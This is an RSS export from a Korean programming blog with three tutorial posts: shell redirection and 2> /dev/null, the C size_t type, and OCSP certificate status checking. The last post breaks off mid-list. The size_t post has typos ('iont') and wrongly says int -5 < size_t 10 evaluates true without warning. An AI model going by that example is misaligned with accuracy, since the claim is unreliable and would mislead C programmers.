&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;기본 개념&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;표준 입출력(Stream)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유닉스 계열 운영체제에서는 프로그램 실행 시 다음과 같은 3가지 기본 스트림이 자동으로 생성됩니다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;번호&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;표준 입력(stdin)&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;키보드 입력 등 사용자 입력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;표준 출력(stdout)&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;프로그램이 출력하는 일반 결과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;표준 오류(stderr)&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;에러 메시지 등 오류 관련 출력&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;기본 리디렉션 문법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출력 리디렉션( &amp;gt; )&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748700109471&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;Hello&quot; &amp;gt; output.txt&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&quot;Hello&quot;라는 출력을 output.txt 파일에 저장(기존내용은 덮어씀)&lt;b&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출력 덧붙이기( &amp;gt;&amp;gt; )&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748700178380&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;echo &quot;More text&quot; &amp;gt;&amp;gt; output.txt&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;기존 output.txt에 &quot;More text&quot;를 추가함(덮어쓰기 X)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에러 리디렉션( 2&amp;gt; )&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748700233235&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ls not_exist_file 2&amp;gt; error.log&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;에러 메시지를 error.log 파일에 저장&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;표준 입력 리디렉션( &amp;lt; )&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748700381768&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wc -l &amp;lt; file.txt&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;file.txt 파일을 표준 입력처럼 사용해서 wc -l 명령어에 전달&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2&amp;gt; /dev/null의 해석&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2 : 표준 오류(stderr)을 의미합니다.&lt;/li&gt;
&lt;li&gt;&amp;gt; : 리디렉션 연산자입니다. &quot;어디론가 보내라&quot;는 의미입니다.&lt;/li&gt;
&lt;li&gt;/dev/null : 특수한 장치 파일로, 모든 데이터를 버리는 쓰레기통입니다. 여기에 쓰여진 데이터는 사라짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 2 &amp;gt; /dev/null의 의미는 표준 오류 스트림(에러 메시지)를 /dev/null로 보내서 버려라 입니다. 즉, 에러메시지를 화면에 출력하지 않고 없애버리는 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;활용 예시&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748699698626&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ls not_exist_file 2&amp;gt; /dev/null&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ls not_exist_file 은 존재하지 않는 파일을 보려고 해서 에러가 발생합니다.&lt;/li&gt;
&lt;li&gt;2&amp;gt; /dev/null 덕분에 에러 메시지는 화면에 나타나지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;602&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRXmMs/btsOlWnXq2q/zSIRkXGrfvAWY9wpUfX3kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRXmMs/btsOlWnXq2q/zSIRkXGrfvAWY9wpUfX3kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRXmMs/btsOlWnXq2q/zSIRkXGrfvAWY9wpUfX3kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRXmMs%2FbtsOlWnXq2q%2FzSIRkXGrfvAWY9wpUfX3kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;602&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;602&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확장 사용 : &amp;amp;&amp;gt;, &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1748699842500&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;command &amp;gt; /dev/null 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;gt; /dev/null : 표준 출력(stdout)을 버림&lt;/li&gt;
&lt;li&gt;2&amp;gt;&amp;amp;1 : 표준 오류(stderr)를 표준 출력(stdout)과 동일한 곳으로 보냄(즉, /dev/null)&lt;/li&gt;
&lt;li&gt;결론 : 모든 출력(정상 + 에러)을 전부 버림&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>운영체제/Linux</category>
      <category>/dev/null</category>
      <category>리디렉션</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/52</guid>
      <comments>https://defcon.tistory.com/52#entry52comment</comments>
      <pubDate>Mon, 2 Jun 2025 21:23:32 +0900</pubDate>
    </item>
    <item>
      <title>c언어 size_t 자료형에 대한 개념</title>
      <link>https://defcon.tistory.com/51</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;size_t란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;size_t는 부호없는 정수형(unsigned integer type)으로 표준 라이브러리에서 메모리크기나 개수를 나타내기 위해 사용하는 타입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stddef.h, stdio.h, stdlib.h, string.h 등의 다양한 헤더파일에서 사용되며, 그 정의는 다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1748690368063&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;typedef unsigned int size_t; //시스템에 따라 다름&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 실제 정의는 컴파일러와 시스템 아키텍처에 따라 달라지며, 32bit 시스템에서는 unsigned int, 64bit 시스템에서는 unsigned long 혹은 unsigned long long 일 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 사용 예시 :&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;malloc, calloc, realloc 등의 함수에서 메모리 크기를 인자로 받을 때&lt;/li&gt;
&lt;li&gt;sizeof 연사자의 겨로가 타입&lt;/li&gt;
&lt;li&gt;문자열 관련 함수(strlen, memcpy, memset)에서 크기나 길이를 나타낼 때&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748690462137&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;size_t length = strlen(&quot;hello&quot;);
void* ptr = malloc(sizeof(int) * 10);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;size_t를 사용했을 때의 장점&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 플랫폼 독립성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;32bit/64bit 환경에 따라ㅏ 자동으로 적절한 크기의 타입이 설정됨&lt;/li&gt;
&lt;li&gt;크로스 플랫폼 코드를 작성할 때 유리&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 메모리 크기 표현에 최적화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메모리 크기와 관련된 연산에서는 부호가 필요 없기 때문에 unsigned로 정의된 size_t가 적절&lt;/li&gt;
&lt;li&gt;음수가 될 수 없는 값을 표현할 때 안전&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 오버플로우 방지에 비교적 유리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;배열 크기나 인덱스의 최대값까지 안전하게 표현 가능(signed 보다 큰 값 표현 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 표준 라이브러리와의 일관성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;malloc, strlen, sizeof 등과의 타입 호환성이 맞지 않아서 경고나 오류없이 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;size_t의 단점 및 주의점&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 부호가 없으므로 음수 표현 불가&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;int 처럼 -1 같은 음수를 표현할 수 없음&lt;/li&gt;
&lt;li&gt;예를들어, 오류를 -1로 반환하는 로직에는 사용할 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748690641119&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;size_t result = -1 // 이 경우 result는 매우 큰 수가 됨&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 부등호 비교시 버그 유발 가능&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;int와 혼합된 연산 또는 비교 시 예기치 않은 결과 발생 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748690684331&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;iont a = -5;
size_t b = 10;
if(a &amp;lt; b) // 경고없이 참이지만, 논리적으로 이상할 수 있음&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 디버깅 시 혼란&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;출력할 때 %zu를 사용해야 ㅎ마ㅕ, 잘못 출력하면 값이 이상하게 보일 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748690728939&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;printf(&quot;%zu\n&quot;, size_var); // 올바른 방법&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 이식성이 있으나, 직관성은 떨어짐&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초보자 입장에서 unsigned int와 달리 직관적으로 이해하기 어려울 수 있음&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programming/C, C++</category>
      <category>C언어</category>
      <category>size_t</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/51</guid>
      <comments>https://defcon.tistory.com/51#entry51comment</comments>
      <pubDate>Sun, 1 Jun 2025 12:01:38 +0900</pubDate>
    </item>
    <item>
      <title>PKI OSCP(Online Certificate Status Protocol) 개념</title>
      <link>https://defcon.tistory.com/50</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OCSP란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Online Certificate Status Protocol은 디지털 인증서의 실시간 유효성 검증을 위한 인터넷 프로토콜입니다. 기존의 CRL(Certificate Revocation List) 방식이 가지는 단점을 보완하기 위해 만들어졌습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RFC 6960에서 표준으로 정의되었으며, 주로 웹 브라우저, 메일 클라이언트, VPN 클라이언트 등에서 사용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OCSP의 필요성&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 방식 : CRL의 한계
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CRL은 CA에서 정기적으로 폐기된 인증서를 목록으로 배포&lt;/li&gt;
&lt;li&gt;수백 KB ~ 수 MB 이상인 경우도 있어 다운로드 시간이 오래 걸림&lt;/li&gt;
&lt;li&gt;폐기된 인증서 정보가 반영되기 까지 시간 지연 발생&lt;/li&gt;
&lt;li&gt;네트워크 부하 및 클라이언트 자원 소비 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;개선 방식 :OCSP의 장점
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클라이언트는 특정 인증서의 상태만 요청&lt;/li&gt;
&lt;li&gt;응답크기가 매우 작음(수백 바이트 ~ 수 KB)&lt;/li&gt;
&lt;li&gt;실시간 상태 확인 가능&lt;/li&gt;
&lt;li&gt;서버-클라이어트간 빠른 통신&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OCSP의 작동 원리&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 참여자
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OCSP Client : 인증서 상태를 확인하고자 하는 주체(ex. Web Browser)&lt;/li&gt;
&lt;li&gt;OCSP Responder : 인증서 상태 정보를 제공하는 서버(CA가 직접 운영하거나 위임)&lt;/li&gt;
&lt;li&gt;CA : 인증서를 발급하고 상태 정보를 OCSP Responder에 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;요청/응답 흐름
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;클라이언트가 받은 인증서의 상태를 확인하고자 함&lt;/li&gt;
&lt;li&gt;해당 인증서의 Authority Information Access (AIA) 확장에서 OCSP URL 확인&lt;/li&gt;
&lt;li&gt;OCSP 요청 생성(인증서 일련번호 포함)&lt;/li&gt;
&lt;li&gt;OCSP 서버(Responder)에 요청 전송(보통 HTTP)&lt;/li&gt;
&lt;li&gt;서버가 다음 중 하나의 응답 변환
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;good : 인증서 유효&lt;/li&gt;
&lt;li&gt;revoked : 인증서 폐기됨&lt;/li&gt;
&lt;li&gt;unknown : 상태 알 수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;클라이언트는 이 정보를 기반으로 연결을 계속하거나 중단&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1748650305241&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CertID: 0x1234ABCD
Status: good
This Update: 2025-05-31 10:00:00
Next Update: 2025-05-31 12:00:00
Signature: (CA 서명)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;보안강화 : OCSP Stapling&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OCSP는 실시간 서버 조회가 필요하므로 다음과 같은 문제점이 발생
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OCSP 서버 장애 -&amp;gt; 인증 실패&lt;/li&gt;
&lt;li&gt;프라이버시 이슈 : 누가 어떤 사이트에 접속했는지 추적 가능&lt;/li&gt;
&lt;li&gt;지연 발생 : HTTPS 연결 성능 저하&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 문제를 해결하기 위하여 OCSP Stapling 기능이 도입되었다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개념
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹서버가 미리 OCSP &amp;nbsp;응답을 가져와 자신의 TLS 인증서와 함께 스테이플해서 클라이어트에게 전달&lt;/li&gt;
&lt;li&gt;클라이언트는 OCSP 서버에 직접 요청하지 않고도 상태 확인 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;장점
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빠른 연결(OCSP 서버 연결 불필요)&lt;/li&gt;
&lt;li&gt;프라이버시 보호&lt;/li&gt;
&lt;li&gt;CA부하 감소&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;OCSP vs CRL 비교 정리&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 44px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 10px;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 10px;&quot;&gt;CRL&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 10px;&quot;&gt;OCSP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;방식&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;전체 폐기 목록 다운로드&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;개별 인증서 상태 실시간 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;응답속도&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;느림(수초 이상)&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px;&quot;&gt;빠름(수백 ms)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;데이터 크기&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;수백 KB 이상&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;수 KB 이하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;실시간성&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;프라이버시&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;보호됨&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;서버 요청 시 노출 가능&lt;br /&gt;(OCSP Stapling으로 보완 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;사용 편의성&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;단순함&lt;/td&gt;
&lt;td style=&quot;width: 25%;&quot;&gt;설명 복잡할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실무 활용 예시&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 브라우저 : HTTPS 접속 시 OCSP로 인증서 상태 확인&lt;br /&gt;(Chrome, Firefox, Edge 등 대부분 OCSP 또는 Stapling 지원)&lt;/li&gt;
&lt;li&gt;메일 클라이언트 : S/MIME 인증서 검증&lt;/li&gt;
&lt;li&gt;VPN 클라이언트 : 사용자 인증서 상태 확인&lt;/li&gt;
&lt;li&gt;서버 인증 : 인증서 폐기 되었는지 판단하여 연결 거부&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;자체 OCSP 서버를 구현하기 위한 구성 요소&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;요소&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;CA (인증기관)&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;인증서와 폐기 &amp;nbsp;정보(CRL 또는 상태 DB) 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;OCSP Responder&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;클라이언트의 요청을 받고, 인증서 상태를 실시간으로 응답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;데이터 저장소&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;인증서 상태(유효, 폐기 등)를 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;키 및 인증서&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;OCSP 응답에 서명하기 위한 OCSP 전용 서명키와 인증서 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;구현방식&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. OpenSSL 기반 OCSP Responder&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenSSL에는 간단한 OCSP 서버 기능이 내장되어 있음&lt;/li&gt;
